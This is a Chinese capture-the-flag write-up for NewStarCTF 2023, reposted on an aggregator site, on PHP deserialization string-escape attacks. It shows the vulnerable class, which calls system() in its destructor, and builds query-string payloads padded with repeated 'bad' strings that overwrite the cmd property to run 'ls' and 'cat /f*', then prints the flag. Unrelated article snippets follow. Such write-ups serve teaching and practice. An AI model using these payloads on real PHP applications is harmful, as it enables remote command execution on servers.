NewStarCTF2023week4-逃(反序列化字符串逃逸)

news2025/4/21 14:11:21

打开链接,大致审一下php代码,是反序列化相关的;

结合题目提示,很典型的字符串逃逸;

并且属于替换修改后导致序列化字符串变长的类型;

看似加了一个waf函数对我们提交的内容进行了过滤替换,实则替换函数正是我们利用的点!

从页面回显可以看出system函数被调用了,并且执行了whoami命令,

执行结果为:www-data www-data

我们这里要给key传参,利用str_replace()函数,实现字符串逃逸,进而间接修改参数cmd的值。

先随便给key传一个值,观察一下它序列化之后的样子:

<?php

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

$g = new GetFlag('123');
echo serialize($g);

?>

注意:这里对象$g创建时的构造函数(construct)需要接受一个$key参数,在实例化GetFlag对象时,如果没有传递$key参数,就会导致构造函数无法正常工作,从而阻止对象的正确序列化。

得到:O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:6:"whoami";}

主要参数介绍:

s表示类型是字符串(string);

3和6表示字符串长度;

key、cmd这些是变量名;

123、whoami是字符串内容。

字符串逃逸,为什么会出现逃逸?

在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,由于在序列化操作后又使用了str_replace()函数进行字符串替换,这就可能会改变字符串的长度,比如上面将bad替换为good,每替换掉一个bad,字符串长度明显就增加了1,而由于序列化之后s的值没变,但是进行了内容替换,改变了字符串长度,那么反序列化读取时,就并不能将原本的内容读取完全。

而后面没有被读到的内容,也就是逃逸出来的字符串,就会被当做当前类的属性被继续执行。

这里我们想修改cmd的内容,也就需要逃逸出这部分内容:

";s:3:"cmd";s:6:"whoami";}

对其简单修改一下,比如我们想执行ls命令,ls有两个字符,所以s后改为2,之所以修改正确是为了后面能正确的被反序列化:

";s:3:"cmd";s:2:"ls";}

 整个逃逸内容有22个字符,每替换一个bad可以逃逸出一个字符,那么我们添加22个bad即可。

构造payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

但是不知道为啥,在进行目录穿越时报错:

猜测flag在根目录下,同样的原理,构造payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

直接拿下

flag{9ffa1365-891e-4730-b5e8-176000978c71}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1126584.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【引流技术】最新头条全自动引流脚本,解放双手自动引流【引流脚本+技术教程】

软件功能&#xff1a; 评论点赞 适用于自己做头条号,去别人评论区截留,点赞,别人会收到提醒,达到回访效果 文章/视频评论 可以自己发布引流文章或视频,引导进你主页或者私信你,达到引流效果 设备需求&#xff1a; 安卓手机8.1及以上系统 文章分享者&#xff1a;Linxiaoyu…

2023年中国汽车覆盖件模具竞争格局、市场规模及行业需求前景[图]

汽车覆盖件模具是汽车车身生产的重要工艺装备&#xff0c;其设计和制造时间约占汽车开发周期的 2/3&#xff0c;是汽车换型的重要制约因素之一。汽车覆盖件模具具有尺寸大、工作型面复杂、技术标准高等特点&#xff0c;属于技术密集型产品。汽车覆盖件模具按以其冲压的汽车覆盖…

pymavlink简单使用

环境 windows10 python3.11 pymavlink2.4.40 工具 虚拟串口工具 Virtual Serial Port Driver 6.9 串口/网络调试助手 sscom5.13.1.exe 串口通信 虚拟串口 COM1, COM2 调试助手连接COM2 pymavlink连接COM1 from pymavlink import mavutil import timeconnect mavut…

ES在企业项目中的实战总结,彻底掌握ES的使用

通过之前两篇文章 了解了ES的核心概念和基础使用学习进阶的DSL语法处理复杂的查询 这段时间通过在本企业代码中对ES框架的使用&#xff0c;总结了不少经验。主要分为三点 企业封装了ES原生的api&#xff0c;需要使用企业项目提供的接口实现 -------简单使用&#xff08;本章节目…

AutoDev 1.4 规模化 AI 研发辅助:团队 Prompts、自定义活文档、代码检视

在过去的两个月里&#xff0c;随着 Thoughtworks 内部的大规模 AI 辅助软件交付&#xff08;AI4SoftwareDelivery&#xff09;的展开 —— 在全球&#xff0c;有上千名的 Thoughtworker 这一个涉及不同角色、不同地区&#xff0c;以及几十场内部分享的活动。 我们也在 AutoDev …

【Leetcode】单链表 ---移除链表元素(创建虚拟头节点)

移除链表元素 移除链表元素题目思路图解创建虚拟头结点删除操作 代码 移除链表元素 题目&#xff1a; 给你一个链表的头节点 head 和一个整数 val &#xff0c;请你删除链表中所有满足 Node.val val 的节点&#xff0c;并返回 新的头节点 。 题目思路 题目思路&#xff1a; …

acme.sh签发和部署ZeroSSL泛域名证书

大家好&#xff0c;我叫徐锦桐&#xff0c;个人博客地址为www.xujintong.com。平时记录一下学习计算机过程中获取的知识&#xff0c;还有日常折腾的经验&#xff0c;欢迎大家访问。 介绍 acme.sh 是个开源的shell证书生成脚本&#xff0c;他可以自动生成Let’s Encrypt 的证书…

【Spring Cloud Alibaba】seata分布式事务官方入门案例导读1(实战版)

文章目录 1. 业务介绍1.1. 用例1.2. 架构图1.3. 3个服务的代码及业务逻辑&#xff08;略&#xff09; 2. SEATA 的分布式交易解决方案3. 由Dubbo SEATA提供支持的示例&#xff08;实战&#xff09;3.1. 步骤 1&#xff1a;建立数据库&#xff0c;如seata数据库3.2. 步骤 2&…

速锐得解码匹配特斯拉电动汽车安全性能检测车架号及BMS电池数据

电动汽车三大件分别是电池、电机和电控。到目前为止&#xff0c;电机技术已经非常成熟&#xff0c;直流永磁电机、永磁同步电机已经取代了异步电机&#xff0c;成为电动汽车的主流。很多人认为电动汽车最后一道技术门槛是电池&#xff0c;但在我国&#xff0c;汽车制造商在制造…

VMware虚拟机中ubuntu网络连接不上

VMware虚拟机中ubuntu中网络连接不上 解决方案其他虚拟机网络 解决方案 1.选择VMware中编辑-虚拟网络编辑器-更改&#xff1a; 设置为你喜欢的模式&#xff0c;这里为NET模式 2.选中ubuntu虚拟机&#xff08;关机后的虚拟机&#xff09;&#xff0c;点击&#xff1a;编辑虚拟机…

微信视频号的项目玩法,视频号好物分享,只要你会剪辑,就可以去操作

今天我给大家分享一个超有趣的项目玩法——视频号好物分享&#xff01; 你知道吗&#xff0c;不论是在抖音还是快手、小红薯&#xff0c;这类好物分享账号都是非常流行的。 不过&#xff0c;现如今这些账号已经不再只是简单的分享&#xff0c;而是有目的地进行推荐&#xff0c;…

【面试经典150 | 哈希表】快乐数

文章目录 写在前面Tag题目来源题目解读解题思路方法一&#xff1a;哈希集合判重方法二&#xff1a;快慢指针判重 其他语言python3 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分析题目为…

【COMP305 LEC6 LEC 7】

LEC 6 Topic 2. The McCulloch-Pitts Neuron (1943) 1. What kind of propositions can be represented by a single MP neuron (without time)? OR&#xff1a; 中间那条线就是 a1 a2 1 分成了两半&#xff1a;1. on the line 和 above the line 2. below the line …

【计算机网络】NAT机制的工作流程

网络地址转换&#xff08;NAT&#xff09;是一种将私有IP地址转换为公共IP地址的技术&#xff0c;它使得私有网络中的主机可以在互联网上与外部主机进行通信。NAT机制在路由器或专用NAT设备上配置&#xff0c;可以用于家庭、小型企业或大型企业的网络环境中。本文将总结NAT机制…

flutter开发实战-打包应用apk签名及Android studio没有generate signed bundle/apk问题修改

flutter开发实战-打包应用apk签名及Android studio没有generate signed bundle/apk问题修改 最近使用flutter开发项目&#xff0c;需要将打包应用时候apk进行签名&#xff0c;我这边开发使用的是Android studio&#xff0c;发现在Android studio的build没有generate signed bu…

读高性能MySQL(第4版)笔记18_扩展MySQL

1. 增长 1.1. 在高速的业务环境中&#xff0c;流量可能逐年增长几个数量级&#xff0c;环境会变得更加复杂&#xff0c;随之而来的数据需求也会快速增加 1.2. 扩展Web服务器 1.2.1. 在负载均衡的后端添加更多的服务器节点&#xff0c;而这通常就是扩展We b服务器的全部工作 …

【银河麒麟系统】备份还原工具显示“备份分区空间不足,请删除过期或者不需要的备份”解决方法

一.问题的现象 在进行银行麒麟V10的系统备份时&#xff0c;会因为所需备份的系统过大导致备份分区容量不足导致备份失败的情况&#xff1a; 二.解决方法 该问题的处理思路与之前写过的一篇文章&#xff1a;【linux】把home目录挂载到其他分区&#xff08;数据盘/data等&#xf…

Day8力扣打卡

打卡记录 查找和替换模式&#xff08;哈希表 / find函数查询重复程度&#xff09; 链接 1.hash表双映射检测是否存在相同映射。 2.利用string的find函数返回下标来检测对应字符串的重复程度(妙)。 class Solution { public:vector<string> findAndReplacePattern(vect…

Web APIs——事件监听以及案例

1、事件监听 什么是事件&#xff1f; 事件是在编程时系统内发生的动作或者发生的事情 比如用户在网页上单击一个按钮 什么是事件监听&#xff1f; 就是让程序检测是否有事件产生&#xff0c;一旦有事件触发&#xff0c;就立即调用一个函数做出响应&#xff0c;也称为绑定事…

基于斑点鬣狗算法的无人机航迹规划-附代码

基于斑点鬣狗算法的无人机航迹规划 文章目录 基于斑点鬣狗算法的无人机航迹规划1.斑点鬣狗搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要&#xff1a;本文主要介绍利用斑点鬣狗算法来优化无人机航迹规划。 …